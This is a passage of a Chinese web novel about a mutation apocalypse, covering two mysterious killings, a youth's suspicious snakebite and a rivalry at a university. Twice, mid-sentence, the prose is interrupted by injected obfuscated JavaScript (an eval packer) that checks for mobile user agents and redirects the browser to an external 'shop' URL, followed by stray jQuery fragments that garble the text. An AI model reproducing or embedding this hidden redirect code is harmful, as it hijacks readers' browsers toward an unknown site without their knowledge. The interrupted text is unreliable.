温倦蹙眉,心想果然,三个亿卖两百万,多半是后悔了。 却听中介兴奋地说:“房东听说您痛快地签了意向合同,非常感谢您愿意接手这个房子,为此,他决定再给你提供一些额外帮助。” 温倦愣住:“……啊?” “您也知道,山上的房子嘛,肯定比不了市区里那么方便,所以您肯定需要囤一些物资。房东托我转告您,他安排了一辆送货车,可以帮您把所有东西搬过去。如果您最近有采购需求,还可以安排跟车。费用已经支付过了,我把联系方式给您,您准备要搬的时候直接给司机说一声就可以。” “还有就是关于别苑那边,房东说,因为那栋房子已经很久没有人住,之前被景区搞得像个酒店,怕你不喜欢。如果你想重新翻修,房东正好有熟悉的专业团队,可以免费给您设计装修。” “哦哦,我差点忘了,房东还说,如果您近期需要上班,暂时不想搬进山上,那他在市区里还有一套公寓,地段特别好,就在联盟大学旁边呢,您要是有需要,他也可以先提供给你作为暂时的落脚处。” “……” 温倦张了张嘴,有很多话想说,最后却沉默了。 不对。 十分的不对。 首先,这件事从一开始就不对劲。 其次,现在的不对劲已经越来越有针对性了。 对方知道他近期会上班,甚至知道是联盟大学。 中介又在电话里讲了许多,但温倦一个字都没听进去。 “喂,喂?您还在听吗?”中介以为没信号,喂了半天。 “在。” 温倦看似平静地应了一声,然后在中介猝不及防的下一刻,忽然问了句, “陆先生有没有说什么时候回来签合同。” 中介没觉得哪里不对,笑了笑,回说:“您还在纠结这个呢?其实委托给平台代签的案例有很多,您不用特地等他回来。和我们签的合同也是具有法律效益的。” 温倦这次没有回答,直接挂了电话。 * * 警报声响彻整个中心城。 上一次出现这样全城戒严的情况,是中心城里出现了一名间谍,某国执政官遭遇刺杀。 但那时候,中心城才建立不久,内部管理还没有如今这样森严。加上各国间表面是合作联盟,实则暗流涌动,本来也不算和平。 现在的中心城今非昔比,管控极其严格。夸张一点说,连飞进来一只小虫子都得经过三道审核。 但凡城中出现任何不明生物,或有人在没有报备的情况下使用武器进行攻击,不管出于什么理由,都会立刻被无处不在的狙击手击毙,或是直接死于安全防护装置的电击。 然而就是在这样密不透风的管控中,今天的中心城,悄无声息地死了两个人。 其中一个叫鲁莱耶,是中心城生物适应与演化研究所里的一名成员。 细究起来,他在卧虎藏龙的中心城里不算什么大人物。但毕竟是受到联盟重视的人才,本身能力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906175|191613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很强,只要出了中心城,在哪儿都是拔尖的存在。 人死于今天凌晨,死法蹊跷,到现在都没有查明原由。 只知道遗体被送出来的时候,似乎已经高度腐烂——像死了很久很久一样。 另一名死者叫佩斯,中心城三大军事基地之一的联盟战略支援基地总司令,少将军衔 他的死法相比起鲁莱耶,就没有那么蹊跷——他被人放干了血。 但这样“不蹊跷”的死法,才最让人震惊。 因为佩斯是个身高两米一,肌肉健硕武力高强还随身携带武器的将军。 且他身边24小时都有专职负责他安全保护的警卫军,他出入都是暴露在监控范围内。 谁能在毫无察觉的情况下,轻轻松松放干一个少将的血? 这两桩凶案,撕开了中心城风平浪静的表面,露出了内里汹涌的浑水。所有人都不得安宁。 警报拉响的同时,中心城所有出入口自动封闭。 地面交通被强制中断,空域进入红色管制状态,所有尚未完成降落的飞行器被命令立刻返航或转向备用空域。 城内公共系统进入应急模式,原本用于便民的智能引导与信息屏全部切换为黑底白字的安全提示,只保留最基础的行动指令。 中心城的街道上,人流被强行截断,自动防护装置升起,禁止所有人员随意走动,以免让有心人混入其中。 军方在确认佩斯身份的第一时间,便接管了相关区域的全部监控权限。 佩斯生前最后出现过的路线被完整拉出,从基地内部到行政区走廊,每一帧画面都被单独封存,原始数据直接送往战略支援基地的独立分析系统。 与此同时,针对鲁莱耶的死,生物适应与演化研究所进入临时封闭状态。所有在编人员被要求原地待命,实验室权限被重新校验,任何涉及样本、数据和外来物质的记录都被调出复核。鲁莱耶近期的一切出入和通话记录都被调出。 可是查了又查,一无所获。 其实很多人心里都隐隐有个猜测—— 鲁莱耶和佩斯,不像是被人类杀死的。 尤其是近期被抽调去研究还鳞山变异生物的“知情人”,他们心里无端端地生出一种恐惧。 难道说,变异生物已经入侵了中心城? 陆朝之因为家人来了中心城,今天原本可以休假半天,但是警报声吵醒了他,同时,他接到一通紧急电话。 上面希望他参与此次凶案的调查。 既不是法医也不是警察,陆朝之却突然被委以重任,几乎只有一种可能——联盟认为凶手是变异生物的可能性,超过人类。 他简单收拾了一下,匆忙出门,却在走出客厅的时候脚步一顿。 陆亦哉坐在沙发上,很安静地垂眸小憩。 陆朝之知道自己应该第一时间出门,但这一刻却莫名心头不安。他走近陆亦哉,看到儿子一副疲惫不堪的样子,想到这孩子连夜从首都赶过来应该累坏了,不知道为什么却不回房间。 他下意识伸手摸了摸陆亦哉的头发,刚想开口叫醒陆亦哉,忽然手腕一阵剧痛。 陆亦哉攥住他的手,用一种几乎不像人类的力气。 下一刻,陆亦哉抬头看着他,那副表情,和往日阳光活泼的少年截然不同。 毫无生气,如死水一潭,冰冷得好似从里到外已然死去。 陆朝之心头猛地一震。 “爸,是你啊。” 陆亦哉叫了他一声。 随着他开口,手上被抓握的力道也消失。 只是眨眼间,陆亦哉身上那种让陆朝之感到恐惧的东西不见了。 他歪着脑袋,对陆朝之笑了笑,又恢复往日的开朗:“早上好,这么早就要出门?” 陆朝之还没从那个瞬间的恍惚中抽离,有些不自然地应了声:“嗯。” “好吧。”陆亦哉仿佛没有看出陆朝之眼神中的古怪,他自说自话着,“那如果您今天没空安排人送我,我就自己想办法回去哦。” 陆朝之蹙眉:“回去做什么?” “您不是知道吗,哥他不肯搬过来,所以我要回去陪他。”陆亦哉说得理所当然。 “不行,你不能回去。你哥也是,我会想办法让他搬过来。” “为什么呢?”陆朝之好奇地问。 “外面不安全。”陆朝之受制于保密需求,无法解释太多,“这个以后我再和你解释,你听话,待在这里,等我忙完了,再想办法把你哥也带过来。” “可是爸,这里就很安全吗?” 陆亦哉的双眸看似明亮,可又充满了空洞阴翳,他笑眯眯的表情仍旧无法完全掩饰目光里的森然冷冽。 陆朝之不知为何,竟觉得这一刻好像不认识自己的儿子了。 警报声仍在响彻全城,在这样令人不安的喧嚣中,陆亦哉的反问倒让陆朝之无法反驳。 “你……”陆朝之有许多话堵在嗓子眼,一时竟然说不出口。 最终,他叹了声气,一言不发地走向门口。 陆亦哉坐在沙发上,没有起身相送。 直到陆朝之打开门,他忽然回头,对陆亦哉说:“最近恐怕会一直戒严。” 陆亦哉笑得乖巧:“我知道的。” “儿子。” “嗯?” 陆朝之叫了他,却又不说话,神色不明地看了他良久,最终叹出一口气来:“回去路上小心些。” 陆亦哉从他爸最后的那一眼里,似乎读到了一些什么,脸上笑意微顿。 等他再想开口的时候,陆朝之已经关上门走了。 - 12.第 12 章 “近期,全球多地发现部分动植物出现异常生长变化,其变异原因尚不明确,联盟已组织多学科专家展开联合研究,目前调查工作正在有序推进中,相关结果将第一时间向社会公布。专家指出,这类现象目前主要在动物和植物之间进行传播,仍处于可控范围。出于公共安全考虑,各国政府已达成一致,将暂时加强生物安全管理措施。” “即日起,居民需配合社区登记家中一切宠物与植物,排查变异情况,如有异常,将进行统一处理……请广大市民理解并配合生物安全管控工作。所有回收与处理流程均符合国际人道与生态标准。拒不配合者,将依法追究相关责任。” “截至今日,包括联盟首都在内的十余个重点城市,已启动公共安全巡防机制,并按计划分阶段向全联盟范围推进,相关部门表示,预计在未来一周内,实现联盟成员国主要城市安全巡逻常态化部署,以进一步加强社会管控,保障居民人身与公共安全……” 今天几乎所有频道的晚间新闻,都在播报相似的内容。 要么是关于市区内各种动植物的管控,以及生物变异原因的调查与探讨,要么就是安抚广大民众,遇到任何异常不用恐慌,各大城市已经安排了24小时巡逻工作,随时可以求助或上报异常。 温倦把新闻主播当做背景音,一边吃饭,一边拿手机刷着热搜。 联盟的反应速度比他想的要快。 原本他以为,人类需要很长一段时间,才能接受物种变异这件事,但联盟最近出台的各种针对性举措,显然已经在认真应对潜在的危机,没有因为了解不够而低估和轻视。 如此一来,就算半年后真的变异生物大爆发,人类也能在最快的时间做出反应,最大可能地自保与反击。 其实温倦不知道的是,联盟之所以能做出这样的超前反应,是因为两周前,中心城发生了诡异的凶杀案。 由于一直无法锁定凶手,最终,他们将侦查对象放在了各种各样的异常生物上面,对整个中心城里里外外进行了一番彻头彻尾的大排查。 三天排查结束,果真在中心城地下找到了一种变异蚯蚓。它们形如巨蟒,浑身长满尖刺,潜伏在地底蠢蠢欲动。好在它们正处于变异初期,攻击性不强,中心城立刻对其进行了清杀。 这也算是某种程度上的因祸得福—— 如果不是及时发现这些蚯蚓,再过一两个月,中心城的地下几百米都会被它们钻空,到时候整座城市都会在一夜之间倒塌。而且等它们完全变异,人类就未必能轻易杀死他们了。 虽然无法确定,这种变异蚯蚓就是杀害鲁莱耶和佩斯的凶手,但它们带给人类巨大的警醒作用。联盟不得不重新审视,变异生物对人类社会可能产生的危害。 于是,这才开始了全面的生物管控和巡逻工作。 这些事情,不仅远在首都近郊半山别苑里,与世隔绝的温倦不知道,广大联盟网友也不知道。 大家只觉得,政府突如其来的动物管控简直莫名其妙。 于是热搜上满当当的全是反对管控的言论,甚至还出现了一些阴谋论,吐槽联盟管控过度的同时,猜测这件事背后肯定有各种利益纠葛。 #生物管控意义何在?! #社区集中残杀居民宠物,惨无人道,丧尽天良,禽兽不如! #生物变异的元凶疑似新型病毒,联盟隐瞒不报,视人命如草芥 【希望专家赶紧弄清楚变异原因吧!全世界物种那么多,要是有一天都变异了,对人类来说和末日有什么区别】 【这年头还有人相信专家,哈哈。】 【要我说什么都别管了,就等着世界末日吧[祈祷.jpg]】 【我怕死,我先把我的多肉上交了】 【到底谁在造谣说社区故意谋杀你家猫狗,但凡去登记过的都知道,猫狗这种常见的宠物一般登记完就能带走了,最容易变异的其实是蛇虫鼠蚁。当然,家里养蛇养蜘蛛的如果不想登记,就自求多福吧。这玩意儿属于没遇到的时候你当天方夜谭,一旦遇到,这辈子就到头了。】 温倦刷了一会儿,忽然收到了一条邮件。 他退出社媒平台,点进去看了一眼。是联盟大学发来的。 温倦正式搬进半山别苑那天,在OA系统里提交了辞职意向,他没有校内编制,加上本身的合同就快到期了,所以整个流程走下来并不麻烦。等申请通过后,他只要返校补一下手续。 这条邮件就是通知温倦,明天学校就开放了,学生陆陆续续返校,人事处那边有人,他可以随时过去。 温倦刚准备回复邮件,却忽然响起了敲门声。 敲门声很轻,但在这空旷寂静的山中别苑里显得格外突兀。 温倦一开始以为是自己听错了。 院子外面的大门是有可视门铃的,但这个人没有按门铃,而是直接走进来敲门。 半山别苑在景区深处,自从不接待游客以后,这一段路不会有车停下,偶尔有人徒步路过,也不会特地翻过外面的护栏跑进来参观。 加上现在这个点了,上山的通道已经关闭,游客多半都在下面一段的酒店入住,几乎不可能有人找上门。 温倦放下手机,侧耳听了一会儿,那声音却又响了一下,不急不缓,像是在确认屋里是否有人。 房子里的灯光大亮,对方一定知道里面有人。所以温倦没打算躲。 他站起了身,朝着大门走去。而同一时刻,静悄悄的山中忽然开始躁动不安。 温倦身上无形散发出的能量刺激着方圆百米的生物。 门一打开,温倦还没来得及看清来人面目,忽然被人一把抱紧了,力道大得几乎让他痛。 他一愣,随即从这种熟悉的感觉中,认出了这位不速之客是谁。 “陆亦哉?你不是应该在中心城吗?”温倦蹙眉,“怎么一天到晚神出鬼没的。” 陆亦哉并不说话,仍旧抱着温倦。 有些不对劲。 “你……” 温倦刚想问他是怎么来的,是不是中心城出了什么事。 但他很快意识到,陆亦哉的身体在不正常地震颤。 “跟我来。”温倦不再多问,拉着陆亦哉的手,走向了别苑的医疗室。 医疗室里配备了一些简单救急的器械,药品也相当齐全。但温倦并不知道陆亦哉究竟怎么了,不好擅自给他用药。 他感觉陆亦哉的体温有些偏低,就先拿温度计帮他测量,看到上面显示34℃的时候,温倦险些没有拿住温度计。 他立刻翻出一次性采血针,准备给陆亦哉做个更详细的检查。但被陆亦哉摁住了手腕。 “不用了老师,没关系。” “什么叫没关系,你知不知道你现在情况很危险。”温倦有些恼他不懂事,“得先弄清楚你为什么会失温。” “哦,没事。”陆亦哉脸色有些惨白,挤出了一个不太好看的笑,懒洋洋说,“被一条长着两个脑袋的蛇咬了一口。” 温倦听得头皮一紧,他直接上手,扯开陆亦哉的衣服,一边翻找一边问:“咬了哪里?你这家伙,被咬了还嬉皮笑脸,是不是脑子缺根筋。” “别紧张,别紧张。”陆亦哉搂住他,反过来安慰,“真的没事,我看了,那蛇没毒。” “你知道什么?它都长两个脑袋了,有没有毒你说了算?告诉我咬了哪里?我怎么看不到?”温倦指腹在陆亦哉皮肤上游走摩挲。 陆亦哉轻轻叹了一声,有些无奈地捉住他的手:“……老师。” 温倦默了片刻,忽然认真地问他:“是咬你屁股上了吗?” 不然为什么藏着掖着。 陆亦哉忽然笑起来,这才终于伸出手指给温倦看:“食指被咬了一下。” 温倦抓住他的手指看了一眼:“伤口呢?” “看不见吗?”陆亦哉一副同样困惑的表情,自己对着指腹看了半天,说,“可能伤口太小,血止住了就不好找了。” 陆亦哉看起来太放松,以至于温倦也逐渐平复了下来:“所以究竟发生了什么,你怎么会从中心城回来了?” 其实,自从知道半山别苑原来的房东是陆家,温倦也差不多猜到陆朝之和陆亦哉应该再也不会回来首都了。 他们大概是放心不下自己一个人在这里,所以把这栋房子拐弯抹角送给了他。 温倦一开始犹豫过,是否需要找机会和陆家正面谈谈。毕竟这套房子价值不菲。 但自从陆亦哉带着全家人搬走,已经过了两周,中途无论是陆朝之,还是陆亦哉,都没有给温倦任何来信。 温倦已经接受了以后再也不会和陆家人见面这件事了。 结果现在,陆亦哉突然出现在他面前。 陆亦哉仍在小幅度发抖,缩着脑袋往温倦怀里钻:“老师你都不知道,中心城好无聊。那里虽然很大,但其实有一大半区域是普通人不能靠近的。生活区也没有什么娱乐,我每天除了吃饭睡觉就是被迫学习。所以我就偷偷溜出来了。” “你爸知道吗?”温倦拿这种贪玩叛逆的小孩没招,他只会溺爱,不太懂教育。 “他知道啊。但是后来中心城出事了,全面戒严,我出来以后再也进不去了。无处可去,我就只能来找老师啦。” “你爸不能安排人出来接你?” “安排不了。”陆亦哉满不在乎地说,“现在中心城里面管得可严了,要是随随便便混进去,会被当成入侵者——当场击毙。” 温倦不了解中心城那边的情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918896|191613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因此不多过问。又向陆亦哉打听那条蛇的事。 “咬我的那条蛇好像原本是谁家的宠物蛇,变异后被主人丢弃,在大街上乱窜。” 陆亦哉连腹稿都不用打,张嘴就来,“幸好现在街上到处都有巡防卫兵和警察,当时我在现场,过去帮忙抓蛇的时候不小心被咬了一下。附近有专门排查变异生物的医护站,他们看了之后说没什么事,我就走了。” 温倦看他一眼:“下次遇到这种事,交给专业的人,你少帮倒忙。” “可是没有我,他们都抓不到那条蛇。”陆亦哉立刻为自己辩解,“巡警和卫兵的枪根本瞄不准那条蛇,它速度可快了。” “它速度那么快,连子弹都追不上,你又是怎么抓住的?”温倦看似平静地问。 陆亦哉抿了抿唇,没说话了。 温倦忽然起身,出去了一趟。 陆亦哉伸了伸手,到底是没敢留温倦。因为温倦刚才看他的眼神好可怕。 就像是在说:我知道你在撒谎,只是懒得揭穿你,所以你最好老实点。 于是陆亦哉就老实地留在医疗室。 十分钟后,温倦抱了一床被子进来。 八月底的天气并不冷,但陆亦哉现在的情况,畏寒得厉害。 温倦不确定那条咬了陆亦哉的“蛇”到底拥有什么变异能力,只能祈祷陆亦哉运气好点,遇到的是还没变异完全的动物,否则任何变异生物造成的伤,都是人类的医疗所解决不了的。 他重新走进医疗室的时候,陆亦哉已经缩在床上睡着了。他把被子盖在陆亦哉身上,摸了摸陆亦哉的脖颈和额头,又用温度计给他测了一次,体温有所回升,是个好征兆。 温倦拿了个椅子坐在床边,一直观察陆亦哉的变化,时不时牵起他的手指盯着看,始终没有发现那个所谓的被蛇咬过的伤口。 他确定,陆亦哉瞒着他一些事。 也许是和中心城有关,也许是陆亦哉自己的秘密。 温倦不是完全不好奇,但他对秘密的接受程度很高,每个人或多或少都会有一些不愿意与人分享的隐私,所以陆亦哉不说,他也不问。 现在最要紧的,是陆亦哉先保住这条命。 温倦给陆亦哉掖好被子,起身在医疗室里转了一圈,把所有可能会用到的东西都找了出来,以防半夜陆亦哉出现紧急情况。 好消息是,陆亦哉这一夜睡得很安稳,体温在凌晨三点左右彻底恢复正常,不再发抖,裹着被子流了许多热汗。 温倦总算松了一口气,在另一张床上补了个觉。 坏消息是,直到天色大亮,陆亦哉都没有醒来。 温倦前前后后给陆亦哉做了五次检查,意外的发现了一些超出认知范畴的事情——陆亦哉的身体检查结果每次都不一样,且,在不同时间得到的身体数据,不存在连续性。 其中一次,影像显示陆亦哉的内脏器官似乎存在大面积损伤痕迹,肝脏边缘异常收缩,心肌信号紊乱,仿佛刚刚经历过一次足以致命的高强度创伤。 温倦慌了神,差点就要叫救护车了。 然而紧接着的又一次检查,那些致命的创伤消失得无影无踪。 陆亦哉的身体各项数据比同龄人还要健康得多。 他再次给陆亦哉测了体温,是正常的。这才松了口气。 温倦决定去一趟市区,一方面是去联盟大学补办辞职手续,另一方面,他打算重新购置专业的医疗设备。 他猜测半山别苑这里被闲置太久,有些设备出了问题,所以每次的检测数据才会有那么大的偏差。 - 下午两点半的时候,温倦到了联盟大学。 今天返校的学生比想的要多,校园里三五成群地聚在一起,几乎都在聊最近变异生物的事,还有不少人提到了学校里的爬山虎。 温倦充耳不闻地走进行政楼,手机在这时疯狂地震动起来。 他一开始还以为是谁打来电话,掏出来一看,是陆亦哉发来的短信。 一条接着一条,几乎没有停顿间隔。 14:31:10 「老师,你去哪里了?不在家里,是去市区了吗?」 14:31:18 「我知道老师有自己的事要忙,没关系,请不用担心我。」 14:31:34 「房子好大,好空,我一个人有点害怕。可以给老师打电话吗?」 14:31:47 「老师,一个人在外面玩得开心哦。最近外面很乱,老师要注意安全,需要我去接你的话就跟我说一声。不需要也没关系,我会在家里乖乖等老师回来的。」 14:32:00 「是不要我了吗?」 - 13.第 13 章 温倦被密密麻麻的信息甩了一脸,差点眼花,还没来得及把最后一条看清楚,陆亦哉的电话已经打了过来。 温倦手一抖,不小心挂掉了。 他莫名有点紧张。 不是因为挂了陆亦哉的电话而内疚的那种紧张,纯粹是有点担心陆亦哉这通电话没打成,又要发神经,等下给他几百条信息砸过来。 温倦怀疑陆亦哉有分离焦虑,黏人得有点不正常。又不是三五岁的小孩,时时刻刻都要人照顾。 陆亦哉二十岁的大好青年,一觉醒来就撒泼打滚要人陪,说出去都招笑。 但是这事儿不能深究。 因为严格说起来,陆亦哉第一次出现疑似分离焦虑的情况,可能就是温倦从陆家搬走那天。 温倦产生了一点负罪感,疑心自己是害陆亦哉无法独立生活的罪魁祸首。至少是之一。 他主动给陆亦哉回了个电话。 意外的是,陆亦哉竟然没有立刻接起来。 温倦又打了一个过去,忽然,视线投下一片阴影。有人站到他身前。 他下意识退了一步,抬头一看,猝不及防与对方对视。 那人对温倦笑了笑,还没开口,温倦转身就走。 可惜温倦跑得慢了,对方轻易就拦了他的退路,哭笑不得:“我是洪水猛兽吗,至于这么躲着?” 温倦有些别扭:“没躲。” “那就好。好久不见,温倦。”裴朔伸出手来,友好地与温倦打招呼,“听说你现在是联盟大学的老师?” 温倦看了一眼他伸过来的手,犹豫了一下,没有握上去:“很快就不是了。” “哦,看来你今天是来辞职的?”裴朔只好收回了手,笑着问他,“既然这么巧,不知道有没有这个机会,请你吃个饭?” “不了。”温倦想也不想就拒绝。 裴朔有些无奈地叹了声气:“以前在学校里,你对我可不是这么冷漠啊。” 温倦:“……” 他不是很想说话。 裴朔笑了笑:“说起来,你还记得咱们刚认识的时候吗?你那时候到处跟人打听我,恨不得把我族谱都给翻出来,搞得我以为自己得罪你了。结果有一次,我打球崴了脚,你也不知道从哪儿跑出来,非要背我去医务室——你知道你那时候多小一只吗?居然说要背我,哈哈。” 经此一事,学校里就一度传出温倦暗恋裴朔的流言。 这可把裴朔吓坏了,因为那时候,虽然他俩都是大学生,但温倦考上大学的时候还不满十五岁。 裴朔担心自己被扣上勾引未成年的帽子,一度努力地躲着温倦。 好在温倦这人也有些个性,你不理他,他也就不理你。 只是很偶尔的时候,两个人在学校里碰见了,裴朔能够感觉到温倦会多看他两眼。 在裴朔心里,温倦肯定暗恋他。 只是他那时候已经有暧昧对象,而且他真的对未成年不感兴趣,所以没打算回应。 后来毕业,裴朔家里对他有安排,就早早离开学校,那时温倦已经在读博,不负他少年天才的名声。 走之前,裴朔主动找了温倦一次。 却没想到,那一次温倦对他的态度,和过去截然不同。 眼里的关心与在意早就不在,只剩一片冷漠疏离。 裴朔说自己毕业后可能会离开首都一段时间,以后有机会回来,再和温倦联系。 温倦不太感兴趣地说了句“不用”。 于是两个人就再也没有联系。 裴朔至今都不知道温倦对他到底是什么意思。 “我还有事要忙,走了。”温倦听他提到过去这些事,觉得无聊,冷着脸与他错身。 裴朔又拦了他一下:“忙完能赏脸吃个饭吗?” “抱歉,可能没空。” “那你待会儿要去哪,最近外面不安全,我开车送你。” “不用。” 裴朔深深叹出一口气,感受到温倦对他的爱答不理,也就不再强求,只是忽然换了个话题,说:“对了,你的电话,不接没关系吗?” 温倦一怔,拿起手机才发现,他给陆亦哉打的电话不知道什么时候接通了。 他趁机和裴朔告辞,捧着电话快步走进行政楼。 好在裴朔这次没有再拦着他。 - 离职手续比想象中简单,没花太多时间。 但温倦办完手续没有直接离开。 他在办公室里逗留,装作漫不经心随口提到:“我刚才在楼下碰到了一个警察,是学校里出事了?” 裴朔今天没有穿警服,但温倦知道,裴朔毕业后在基层做了两年民警,后来就理所应当地在裴家的托举之下一路高升,现在恐怕早已是联盟公安部的重要人物。 他想不明白裴朔今天为什么会来学校。 “温老师是说裴朔吧?那可是咱们学校的荣誉校友呢,不是一般警察。” 温倦顺着问了句:“哦,所以是要来学校里演讲?” “不是不是,人家裴朔啊,现在负责首都城的安全巡防工作——温老师听说了吗,就是前段时间出台的生物管控和公共巡防政策。” 温倦点点头:“大概知道。” “咱们学校里的爬山虎前段时间不是变异了吗,就跟巡逻队的警察上报了情况。正好裴朔现在是首都这边的总指挥,他担心开学的时候学生太多会出岔子,所以今天亲自带了几个专业人员过来帮我们看看。” “哎哟,说起来裴朔真是个靠谱的人,我们只说了爬山虎有问题,他却安排了人把整个学校所有的绿植都检测了一遍。连几位猫学长也查了查。还好,听说只有爬山虎的变异情况比较严重,需要立刻清理。” 这个话题似乎激起了不少人的兴趣,办公室里好几个人都参与了进来。 温倦听到了想要的答案,就不再多说什么,趁着他们聊得正起劲,自己默默地走出了办公室。 结果一转头,就看见等候在走廊已久的裴朔。 “……”温倦脚步没停,视若无睹地与他擦肩而过。 裴朔跟上去,慢慢悠悠地走在他身旁,笑说:“对我的事很感兴趣?他们知道的不多,你可以直接问我。” 温倦这次倒没有刻意避讳和他说话,随口问道:“爬山虎什么时候清理?” “已经安排了人过来,需要一点时间。”裴朔以为他是担心变异生物,就安慰了两句,“放心,首都的管控工作已经非常到位,学校里也安排了巡警,不会出事。” 温倦不想打击他。 要是面对真正的变异爬山虎,他们这些巡警怕是不够看。 “辛苦了。”温倦给这位联盟警察留了几分面子。 裴朔看温倦不再像之前那样冷漠,心情大好地弯腰凑近他,说:“看在我这样辛辛苦苦为人民服务的份上,和我一起吃个晚——” “老师。” 突然出现的陆亦哉打断了裴朔的又一次晚饭邀约。 他不知何时来的,就站在楼下,抬头看着温倦。 明明顶着一张热情洋溢的笑脸,但那双漆黑如墨的眼眸却看得裴朔心头一颤。 怪了,好好一个大活人怎么鬼气森森的。 “你怎么来了?”温倦有些惊讶,快步走了下去。 温倦的确在电话里,跟陆亦哉说了自己今天要来学校里办离职,但……从他们挂断电话到现在,有没有超过半小时? 如果温倦没记错的话,他正常情况下叫车来市区里,起码要花费两个小时。 除非陆亦哉给他打电话的时候,就已经在路上了。否则不可能这么快赶到。 “一个人在家里好无聊,我想你了。”陆亦哉惯会撒娇,一靠近温倦就贴了上去,下巴在温倦的颈窝处蹭了蹭,“你下次出门前跟我说一声吧,不要留我一个人。” 他嘴里说着模棱两可的肉麻的话,乍一听,就好像他已经和温倦同居多年似的,一刻见不到温倦就难受。 余光却又瞥向还站在台阶上的裴朔,主动打了个招呼,“嗨。” 裴朔看着陆亦哉,没有做出什么特别的反应,客客气气回应了一句:“你好。” 他这些年什么人没见过?像陆亦哉这种把心思全写脸上的小孩,他没放心上。 反倒看向温倦,笑着问,“温倦,这是你亲戚家的小孩儿?这么大的人,还挺腻歪。” 陆亦哉:“。” 温倦没打算解释,以他和裴朔的关系,并没有熟络到需要和对方报备自己的任何事。 更何况,陆亦哉和他的关系解释起来也复杂。 但温倦没想好应该怎么说,陆亦哉却先一步接过了话,他不自我介绍,反问了裴朔一句:“你是谁呢?” 裴朔意味不明地笑了笑:“我是谁,你可以问问你老师。” 他把话说得这么欲盖弥彰,但陆亦哉却好像一点没有被挑衅到的意思,一句接一句地跟上:“老师从来没有提起过你,我看你们好像也不熟呀。” 裴朔:“他总不可能每认识一个人,就介绍给你。” 陆亦哉:“可我认识老师身边所有人,就是没见过你。” “也许是因为你太年轻了,小弟弟。”裴朔嗤笑,“我和你老师大学四年同学,那时候你才几岁?温倦为什么要和你一个小屁孩报备那么多?” 温倦上大学的时候,陆亦哉确实还是个小屁孩。 这点倒是被裴朔说准了。 但陆亦哉丝毫没有被刺激到,反而笑得更灿烂了:“啊,原来你们是大学同学。可是老师很小的时候就考上大学了,这样说起来,你的年纪不小了吧?” 裴朔生硬地扯了扯嘴角:“男人三十岁正是当打之年。” 陆亦哉:“那你还能打几年?” 裴朔:“我——” “你们聊。”温倦终于受够了他们这种无聊的唇枪舌战,推开陆亦哉靠在他肩上的脑袋,说,“我走了。” 陆亦哉连忙跟上去:“我才不要和他聊呢,老师等等我。” 裴朔有些不甘心被陆亦哉搅黄一顿饭,犹豫了片刻,也跟了上去。 “温倦,一起吃饭吧。我的车就停在学校里。”裴朔颇有些忍辱负重地说,“把你这位,弟弟,也带上。” “不用客气了大叔,我和老师要一起回家吃。” “大、大叔?” “啊我叫错了,抱歉,你只比我了大十岁,还不至于当叔叔。” 陆亦哉无辜地眨眨眼,“但是你皮肤暗沉眉眼憔悴胡子拉碴不修边幅,确实是比一般的三十岁男人显得老成些,我一时口误,不要生气。” 裴朔气笑了,猛摁眉心。 他知道陆亦哉故意说这种话,肯定是在气他。 裴朔自认青年才俊,年轻时当校草,毕业后当警局宣传封面,从小到大都没有人质疑过他的长相。 就算这几天有些忙,可能胡子是没有剃得很干净,衣服也稍微比较旧,但怎么也不可能像陆亦哉说得那么不堪。 于是他没憋住,回了句:“小弟弟,你这么着急防范我,难道也觉得,我和你老师有发展的可能?” 这次不用陆亦哉说话,温倦先停下了脚步,用一种几乎惊恐的目光看着裴朔。 裴朔被他这一眼看愣了,恍惚觉得自己说错了话,可能温倦不喜欢太轻浮的人。他立刻改口:“我的意思是,也许,未来……” “你们巡防工作很闲吗?” “挺……挺忙的。” “那就别没事找事,裴朔。我祝你工作顺利,但希望我们以后不要再见面,告辞。” 温倦好一会儿才消化掉那句“发展的可能”,他打了个哆嗦,碍于有些话又实在无法解释,于是只能拉着陆亦哉的手闷着头往前走。 陆亦哉回头向裴朔眨了眨眼,欢快地冲他挥手道别,一副胜利者姿态。 然后被温倦揪着耳朵给拽回去了。 裴朔这下不知道应不应该继续跟。 其实,要说他多喜欢温倦,那倒也不至于,毕竟两个人这么多年没联系了。 但好感多少是有一些的。 温倦少年时就长得清秀漂亮,加上十四岁就考入联盟大学,本身就万众瞩目,他一度是学校里的吉祥物,是学长学姐们的团宠。 裴朔也挺喜欢温倦的,但是止于对小孩儿的那种喜欢。 温倦那会儿的性子还不像现在这么冷清,被人团团围住时,会紧张地把自己缩起来,脸嫩生生的,从耳朵红到脖子根,特别乖特别好欺负的样子。 但当时温倦年纪小,没人会对温倦动那种心思。毕竟他们是正直的大学生,又不是禽兽。 然而时隔多年,如今裴朔和温倦再重逢,他自然就换了一种心境。 他们都不再是当初了,但万一温倦对他还留有当初的那一点点喜欢,裴朔很愿意和他接触接触。 他想着再续前缘。 可是温倦刚才看他的那一眼,活像见了鬼一样,明显就是根本没想过和他有什么发展。 什么再续前缘。 在温倦看来,好像根本没有前缘。 - 陆亦哉不确定,这个裴朔究竟是谁。 上一世的这个时候,变异生物还没有猖狂到出现在城市里,联盟政府也自然没有进行管控和巡防。 所以上一世的裴朔,没有回来过首都,他在另一个地方迎来了末日。 但陆亦哉回想了一下,即便在人类基地,他也没见过裴朔这个人。 